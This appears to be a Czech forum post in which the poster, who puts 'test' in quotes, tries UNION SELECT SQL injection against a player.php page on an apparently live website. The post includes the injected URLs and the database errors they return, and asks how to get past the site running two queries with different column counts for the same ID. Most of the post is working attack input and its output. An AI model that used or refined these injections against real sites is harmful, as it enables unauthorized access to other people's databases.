Ahoj, mám za úkol "otestovat" web proti SQLi.
Jenže nějak se mi nedaří.
když zadám:
player.php?s=2012&=1&p=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24
dostanu odpověď:
Celý dotaz: SELECT *, DATE_FORMAT(pl_birth, '%d.%m.%Y') AS birth, DATE_FORMAT(pl_datefrom, '%d.%m.%Y') AS vMustvuOd FROM player WHERE pl_id = -1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24The used SELECT statements have a different number of columns
když ale zadám:
player.php?s=2012&=1&p=-1%20union%2 0all%20select%201,2,3,4,5,6,7,8,9,10,11,12,
13,14,15,16,17,18,19,20,21,22,23,24,25 (25 je totiž podle order by počet sloupců)
vyskočí mi tohle:
Celý dotaz: SELECT * FROM player_stats WHERE pst_pl_id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25 ORDER BY pst_season desc, pst_fromThe used SELECT statements have a different number of columns
Takže používá na jedno ID dva dotazy. Otázka zní: Dá se tohle nějak překonat nebo je třeba pracovat se skriptama který používají pouze jeden dotaz? (odpovědět) |